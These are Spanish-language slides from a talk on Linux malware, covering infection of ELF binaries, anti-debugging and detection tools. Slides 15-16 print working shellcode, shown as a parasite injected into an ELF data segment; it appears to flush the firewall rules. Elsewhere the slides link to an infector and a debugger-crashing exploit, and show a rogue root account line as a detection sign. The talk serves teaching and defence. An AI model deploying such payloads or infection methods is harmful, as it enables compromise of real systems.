1
Usa Linux decían ...... En Linux no hay virus decían
MALWARE EN LINUX
Contenido
2
¿Por qué usar Linux (u otros basados en UNIX)? Tipos de Malware Similitudes y Diferencias con sistemas Windows Motivadores para la creación de malware Técnicas de Infección / Propagación Demo(s)
Técnicas Anti Detección / Reversing / Debugging Demo(s)
Técnicas de Detección / Eliminación Demo(s)
Conclusión
¿Por qué usar Linux (*NIX)?
3
Porque es “GRATIS”
PORQUE NO HAY VIRUS … DECÍAN
Porque es para expertos y hackers
Porque si…
¿Por qué usar Linux (*NIX)?
4
http://www.dedoimedo.com/computers/linux-convert.html
¿Por qué usar Linux (*NIX)?
5
¿Por qué usar Linux (*NIX)?
6
http://www.dedoimedo.com/computers/linux-convert.html
Tipos de Malware en Linux
7
Backdoors Plataformas de SPAM (Correo no deseado) Servidores de archivos (FTP, Torrents, etc.) Botnets Virus Bombas de tiempo Sniffers de información bancaria Etc.
8
Rootkits Set de herramientas para esconder rastros de ataque y
mantener accesos futuros Esconder archivos Esconder procesos Esconder conexiones de red Usuarios escondidos Y muchas otras capacidades
Tipos de Malware en Linux
Motivadores para la creación de malware
9
Mayormente financiera
Espionaje
Recientemente cuestiones geopolíticas entran en juego
(Stalking)
10
Similitudes y Diferencias con sistemas Windows
11
Market share
Similitudes y Diferencias con sistemas Windows
12
Formato de archivo ejecutable Windows: PE (Portable Executable) Linux: ELF (Executable and Linking Format)
Muchos usuarios de Windows utilizan la cuenta de Administrador
Permisos de archivos en Linux por default
Menor factor de exposición
Similitudes y Diferencias con sistemas Windows
Técnicas de Infección / Propagación
13
Existen virus / gusanos en diversos lenguajes de programación como:
Perl Bash scripts Python Etc.
Los más comunes y sofisticados son en el formato de archivos ELF
Técnicas de Infección / Propagación
14
Executable and Linking Format Formato de archivo mayormente utilizado en sistemas
tipo UNIX como Linux, BSD, Solaris, Irix, etc.
15
Muchísimas técnicas de infección de binarios ELF Mayormente infección en los binarios estáticamente
Ejemplo, inyección de un parásito en el segmento de datos
.text
.data
.bss
Código malicioso:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89\xe1\x52\x66\x68\x65\x73\x68\x74\x61\x62\x6c\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
Técnicas de Infección / Propagación
16
.text
.data
.bss
nitr0us@linux:~$ ./binario_infectado
Código malicioso:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x46\x89\xe1\x52\x66\x68\x65\x73\x68\x74\x61\x62\x6c\x68\x6e\x2f\x69\x70\x68\x2f\x73\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
Técnicas de Infección / Propagación
17
nitr0us@linux:~$ ./binario_infectado
Técnicas de Infección / Propagación
18
DEMOINFECCIÓN ESTÁTICA
INYECCIÓN DE UN PARÁSITO EN EL SEGMENTO DE DATOS
ELF_data_infector.chttp://www.brainoverflow.org/code/ELF_data_infector.c
Técnicas de Infección / Propagación
19
En tiempo de ejecución Uno de los últimos troyanos identificado para Linux con
capacidades de captura de información bancaria de los formularios de exploradores. “Hand of Thief” Trojan https://blog.avast.com/2013/08/27/linux-trojan-hand-of-thief-unglo
ved/ https
://blogs.rsa.com/thieves-reaching-for-linux-hand-of-thief-trojan-targets-linux-inth3wild/
http://ostatic.com/blog/hand-of-a-thief-linux-malware-goes-for-the-money
Técnicas de Infección / Propagación
20
“Hand of Thief” Trojan
Técnicas de Infección / Propagación
21
“Hand of Thief” Trojan Es importarte mencionar que un usuario no se infecta
“automáticamente” al descargar este troyano (al igual que la mayoría de malware en Linux)
El autor recomienda…
“Hand of Thief’s developer did not offer a recommended infection method, other than sending the trojan via email and using some social engineering to have the user launch the malware on their machine.”
www.infosecurity-magazine.com/view/34349/hand-of-thief-trojan-has-no-claws/
Técnicas de Infección / Propagación
22
Otro de los últimos detectado es
http://www.symantec.com/security_response/writeup.jsp?docid=2013-111815-1359-99
Técnicas de Infección / Propagación
23
A diferencia de Windows, el malware en Linux no se ejecuta y propaga tan fácilmente
Mayormente se requiere de la interacción del usuario Ingeniería Social Otros vectores de ataque
Cronjobs Modificación de archivos de configuración
.bashrc Etc.
Técnicas de Infección / Propagación
24
Propagación a través de vulnerabilidades remotas Exploits embedidos
Malas configuraciones FTP / NFS / SMB con permisos de escritura para todos
Contraseñas por default en servicios de red
Técnicas de Infección / Propagación
25
Error de capa 8 (PEBKAC)
Técnicas de Infección / Propagación
Técnicas de Anti Detección/ Reversing / Debugging
26
Muchas técnicas conocidas Detección del entorno
Dejar de funcionar si está corriendo bajo una Máquina Virtual
Detección de ejecución a través de debuggers: http://xorl.wordpress.com/2009/01/01/quick-anti-debugging-trick-for-gdb/ ptrace(PTRACE_TRACEME, 0, 0, 0)
27
Hasta más avanzadas como las presentadas por aczid
Linux debugging & anti-debugging Hack In The Random 2600 Netherlands September 8, 2012 http://www.hackintherandom2600nldatabox.nl/archive/slides/2012/aczid.pdf http://
www.hackintherandom2600nldatabox.nl/archive/slides/2012/antidebugging.tgz
Técnicas de Anti Detección/ Reversing / Debugging
28
DEMOSAPROVECHÁNDOSE DE FALLOS EN
DEBUGGERS PARA “MATARLOS”http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
gdb_elf_shield.chttp://www.exploit-db.com/exploits/23523/
Técnicas de Anti Detección/ Reversing / Debugging
29
Técnicas de Anti Detección/ Reversing / Debugging
Técnicas de Detección / Eliminación
30
Presencia de elementos extraños y/o no identificados
Procesos | Archivos | Conexiones | Puertos nitr0us@linux:~$ netstat -ant | grep LISTEN
Cuentas de usuarios no identificados ‘h4ck3r::0:0::/:/bin/sh’ (/etc/passwd)
Elementos ocultos Carpetas como “. “ o “.. “ o que inician con “.” no salen
con un listado normal $ls –l
31
Ejecución periódica de herramientas de detección chkrootkit rkhunter otras
Técnicas de Detección / Eliminación
32
DEMODETECCIÓN DE ROOTKITS
rkhunterhttp://rkhunter.sourceforge.net
Técnicas de Detección / Eliminación
33
Ejecución periódica de integridad de archivos Hashes
MD5 SHA-1 Etc.
Herramientas como Tripwire ($) AIDE (Advanced Intrusion Detection Environment)
Técnicas de Detección / Eliminación
34
Antivirus Detectan la existencia de código
malicioso Heurística Sandboxes Sensores de Red Reverse Engineering Etc.
Técnicas de Detección / Eliminación
35
Y se ve así…
Técnicas de Detección / Eliminación
36
Antivirus Mayormente detección basada en firmas de virus, por ejemplo,
una pequeña lista de malware conocido http://en.wikipedia.org/wiki/Linux_malware
Técnicas de Detección / Eliminación
37
Los engines analizadores no son suficientemente buenos aún
Research de Tavis Ormandy vs Sophos Antivirus [SOPHAIL] http://lock.cmpxchg8b.com/sophail.pdf
Técnicas de Detección / Eliminación
38
Los engines analizadores no son suficientemente buenos aún
En Febrero de 2013 analicé el engine de ELFs de ClamAV En libclamav se encuentra elf.c, que es el engine analizador Todas las variables son de tipo unsigned Esto es bueno, sin embargo…
Técnicas de Detección / Eliminación
39
Existen validaciones muy básicas (bypasseables) como:
if(file_hdr.e_phentsize == sizeof(struct elf_program_hdr64))
if(file_hdr.e_ident[5] == 1) /* endianess */
if(phnum > 128) ... for(i = 0; i < phnum; i++) {
if(shnum > 2048)
Técnicas de Detección / Eliminación
40
DEMOEJECUCIÓN DE ANTIVIRUS
ClamAVhttp://www.clamav.net
Técnicas de Detección / Eliminación
Conclusión
41
En Linux, SI hay virus y demás malware Sus mecanismos de seguridad por default no lo
hacen tan vulnerable contra el malware El porcentaje de usuarios es mucho menor que
Windows, así que el nivel de exposición también es menor
Existen tendencias de atacar estaciones Linux de usuarios finales para obtención de información financiera y datos personales
El software anti-malware para Linux necesita mejorar